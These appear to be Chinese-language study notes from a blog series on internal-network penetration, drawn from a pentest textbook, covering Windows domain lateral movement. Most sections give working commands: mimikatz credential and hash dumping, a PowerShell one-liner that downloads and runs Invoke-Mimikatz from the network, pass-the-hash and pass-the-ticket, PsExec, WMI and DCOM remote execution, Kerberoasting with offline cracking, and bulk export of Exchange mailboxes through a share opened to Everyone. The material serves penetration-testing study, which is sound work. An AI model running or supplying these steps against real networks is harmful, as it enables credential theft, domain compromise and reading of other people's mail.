内网渗透学习(四)
域内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,攻击者会利用该技术,以被 攻陷的系统为跳板,访问其他域内主机,扩大资产范围。
常用Windows远程连接和相关命令
IPC
IPC共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常是远程管理计算机和查看计算机的共享资源时使用。
建立一个ipc$:
net use \\192.168.100.190\ipc$ "Aa123456@" /user:administrator
ipc$利用前提
- 开启了139、445端口
- 管理员开启了默认共享
ipc$连接失败原因
- 用户名或密码错误
- 目标没有打开ipc$默认共享
- 不能成功连接目标的139、445端口
- 命令输入错误
使用Windows自带的工具获取远程主机信息
- dir命令(列目录)
- tasklist命令(列进程)
计划任务
- at命令(windows server 2008之前)
- 使用net time命令确定远程机器当前时间
- 用copy复制poc到远程机器
- 使用at命令定时该poc
- 删除使用at命令创建计划任务的记录
- schtasks命令(windows server 2008、windows vista及之后)
Windows系统散列值获取分析
LM Hash和NTLM Hash
Windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。
Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。在Windows操作系统中,Hash的结构通常如下:
username:RID:LM-Hash:NTLM-Hash
LM Hash本质是DES加密,密码不足14位用0补足。若LM Hash被禁用了,攻击者通过工具抓取的LM Hash通常为”aad3b435b51404eeaad3b435b51404ee”(表示LM Hash为空或被禁用)
NTLM Hash是基于MD4加密算法加密的
单机密码抓取
想要在Windows操作系统中抓取散列值或明文密码,必须将权限提升至System。本地用户名、散列值和其他安全验证信息都保存在SAM文件中。
常用工具和方法:
GetPass工具
PwDump7工具
QuarksPwDump工具
通过SAM和System文件抓取密码
# 1.导出sam文件 reg save hklm\sam sam.hive reg save hklm\system system.hive # 2.使用mimikatz或者Cain读取SAM文件 运行mimikatz后输入命令 lsadump::sam /sam:sam.hive /system:system.hive 或者在目标机器直接运行mimikatz 先输入"privilege::debug" 再输入"token::elevate" 再输入"lsadump::sam"获取本地SAM文件,获得NTLM Hash
使用mimikatz在线获取SAM文件
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
使用mimikatz离线读取SAM文件
使用Powershell对散列值进行Dump操作
Import-Module .\Get-PassHashes.ps1 Get-PassHashes
使用Powershell远程加载mimikatz抓取散列值和明文密码
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
哈希传递攻击分析
通过使用与账户相关的密码散列值来模拟用户登录来进行攻击。通过哈希传递攻击,攻击者不需要破解密码散列值
攻击利用:
使用NTLM Hash来进行哈希传递
在目标机器以管理员权限运行mimikatz,输入命令:
mimikatz> privilege::debug mimikatz> sekurlsa::pth /user:administrator /domain:pentest.com /ntlm:D9F9553F...
使用AES-256密钥进行哈希传递
使用mimikatz抓取AES-256密钥
mimikatz> privilege::debug mimikatz> sekurlsa::ekeys # 抓取到密钥后 mimikatz> privilege::debug mimikatz> sekurlsa:pth /user:administrator /domain:pentest.com /aes256:2781f14...
命令行输入 dir \\dc\c$ # dir后跟要使用的主机名,而不是IP地址
需在目标机器安装KB2871997
票据攻击传递分析
哈希传递需要本地管理员权限,而票据传递则不需要
使用mimikatz进行票据传递
使用mimikatz可以将内存中的票据导出。
mimikatz> privilege::debug
mimikatz> sekurlsa::tickets /export
会在当前目录下出现多个服务的票据文件
清除内存中的票据
mimikatz> kerberos::purge
将票据文件注入内存
mimikatz "kerberos::ptt "C:\ticket\[0;4f7cf]-2-0-60a00000-administrator@krbtgt-PENTEST.COM.kirbi"
将高权限的票据信息注入内存后,将列出远程计算机系统的文件目录
dir \\dc\c$
使用kekeo进行票据传递
PsExec使用
PsExec主要用于大批量Windows主机的运维,在域环境下效果尤好。攻击者使用PsExec通过命令行环境与目标机器进行连接,甚至控制目标机器。
在建立了ipc$的情况下,获取system权限的shell
PsExec.exe -accepteula \\192.168.100.190 -s cmd.exe
-accepteula 参数不会弹出确认框
没建立ipc$时,使用账号密码登录
psexec \\192.168.100.190 -u administrator -p Aa123456@ cmd.exe
使用PsExec的前提条件:
- 需要远程系统开启admin$共享(默认开启)
- 在使用ipc$连接目标后,不需要输入账号密码
- Metesploit中也有PsExec模块
WMI使用
Windows Management Instrumentation。从Win98开始,Windows操作系统支持WMI,可以在本地或者远程管理计算机系统。
攻击者在使用wmi进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。
基本命令
wmic /node:192.168.100.190 /user:administrator /password:Aa123456 process call create "cmd.exe" /c ipconfig >ip.txt
建立ipc$后,使用type命令读取执行结果
type \\192.168.100.190\C$\ip.txt
impacket工具包中的wmiexec
wmiexec.vbs
通过VBS调用WMI来模拟PsExec的功能
Invoke-WmiCommand.ps1脚本
Invoke-WMIMethod
DCOM在远程系统中的使用
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DCOM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。
DCOM是基于对象组件模型(COM)的。COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口。
通过本地DCOM执行命令
获取DCOM程序列表
# Powershell3.0以上
Get-CimInstance Win32_DCOMApplication
# Powershell2.0以上
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
使用DCOM执行任意命令
本地启动一个管理员权限的Powershell,执行如下命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
使用DCOM在远程机器上执行命令
前提:
- 关闭系统防火墙
- 具有本地管理员权限账号
通过ipc$连接远程计算机
net use \\192.168.100.205 "a123456@" /user:pentest.com\dm
执行命令
# 调用MMC20.Application远程执行命令 $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.100.205")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe") # 调用9BA05972-F6A8-11CF-A442-00A0C90A8F39 $com = [Type]::GetTypeFromProgID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.100.205") $obj = [System.Activator]::CreateInstance($com) $item = $obj.item() $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
SPN在域环境中的应用
在域环境中运行的大量应用包含了多种资源,为资源的合理分组、分类和再分配提供了便利。微软给域内的每种资源分配了不同的服务主体名称SPN(Service Principal Name)
在使用Kerberos协议进行身份验证的网络中,必须在内置账号或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。
因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。
SPN命令格式
SPN = serviceclass "/" hostname [":"port] ["/" servicename]
- serviceclass:服务组件的名称
- hostname:以”/“与后面的名称分隔,是计算机的FQDN(全限定域名,同时带有计算机名和域名)
- port:以冒号分隔,后面的内容为该服务监听的端口号
- servicename:一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名
常见的SPN服务
MSSQL服务
MSSQLSvc/computer1.pentest.com:1433
serviceclass和hostname是必选参数,port和servicename是可选参数
Exchange
exchangeMDB/EXCAS01.pentest.com
RDP服务
TERMSERV/EXCAS01.pentest.com
WSMan/WinRM/PSRemoting服务
WSMAN/EXCAS01.pentest.com
用于SPN扫描的Powershell脚本
通过请求特定的SPN类型的服务主体名称来查找服务,与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口。
因为SPN是通过LDAP协议向域控制器进行查询的,所以攻击者只要获得一个普通的域用户权限,就可以进行SPN扫描。
扫描MSSQL服务:
Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers
扫描所有SPN服务:
Import-Module .\Discover-PSInterestingServices
Discover-PSInterestingServices
windows自带工具:
setspn -T domain -q */*
Kerberoast攻击
在因为需要使用某个特定资源而向TGS发送Kerberos服务票据的请求时,用户首先需要使用具有有效身份权限的TGT向TGS请求相应服务的票据。当TGT被验证有效且具有该服务的权限时,会向用户发送一张票据。该票据使用与SPN相关联的计算机服务账号的NTLM Hash(RC4_HMAC_MD5)。也就是说,攻击者会通过Kerberos尝试使用不同的NTLM Hash来打开Kerberos票据。如果攻击者使用的NTLM Hash是正确的,Kerberos票据就会被打开,而该NTLM Hash对应于该计算机服务账号的密码。
手动注册SPN
setspn -A MSSQLSvc/computer1.pentest.com:1433 mssql
查看用户所对应的SPN
setspn -L pentest.com/mssql
使用adsiedit.msc查看用户SPN及其他高级属性
配置指定服务的登录权限
gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Log on as a service
修改加密类型
gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security: Configure encryption types allowed for Kerberos
请求SPN Kerberos票据
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestor SecurityToken -ArgumentList "MSSQLSvc/computer1.pentest.com"
导出票据
mimikatz> kerberos::list /export
使用Kerberos脚本离线破解票据所对应账号的NTLM Hash
下载kerberos,将票据文件复制到目录下
python tgsrepcrack.py wordlist.txt mssql.kirbi
exchange服务器安全
Exchange是微软出品的电子邮件服务组件,是一个消息与协作系统。Exchange可以本地化部署,也可以以Exchange Online的形式将Exchange服务器托管在云端。
Exchange支持Poweshell对其进行本地或远程操作,这一方面方便了运维人员对Exchange的管理和配置,另一方面为攻击者对Exchange进行恶意操作创造了条件。
Exchange在逻辑上分为三层:
- 网络层(Network Layer)
- 目录层(Directory Layer)
- 消息层(Messaging Layer)
邮件服务器有五个角色:
- 邮箱服务器
- 客户端访问服务器
- 集线传输服务器
- 统一消息服务器
- 边缘传输服务器
Exchange支持的访问接口和协议:
- OWA:Exchange提供的Web邮箱
- EAC:Exchange管理中心
- Outlook Anywhere
- MAPI
- Exchange ActiveSync
- Exchange Web Service
Exchange服务发现
端口扫描
nmap -A -O -sV 192.168.100.194
SPN查询
setspn -T pentest.com -F -Q */*
查看邮件数据库
将Exchange管理单元添加到当前会话中
add-pssnapin microsoft.exchange*
-Server参数指定服务器查询
Get-MailboxDatabase -server "Exchange1"
查询数据库的物理路径
Get-MailboxDatabase -Identity '数据库名' | Format-List Name,EdbFilePath,LogFolderPath
获取现有用户的邮件地址
Get-Mailbox | format-tables Name,WindowsEmailAddress
查看指定用户的邮箱使用信息
get-mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime
配置用户的导入/导出权限
查看有导入/导出权限的用户
Get-managementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName
添加权限
New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox Import Export"
添加后需重启Exchange服务器
删除权限
Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false
设置网络共享文件夹
将C盘的inetpub文件夹设置为任意用户都可以操作的文件夹
net share inetpub=c:\inetpub /grant:everyone,full
导出用户的电子邮件
New-MailboxExportRequest -Mailbox administrator -FilePath \\192.168.100.194\inetpub\administrator.pst
参考:内网安全攻防渗透测试实战指南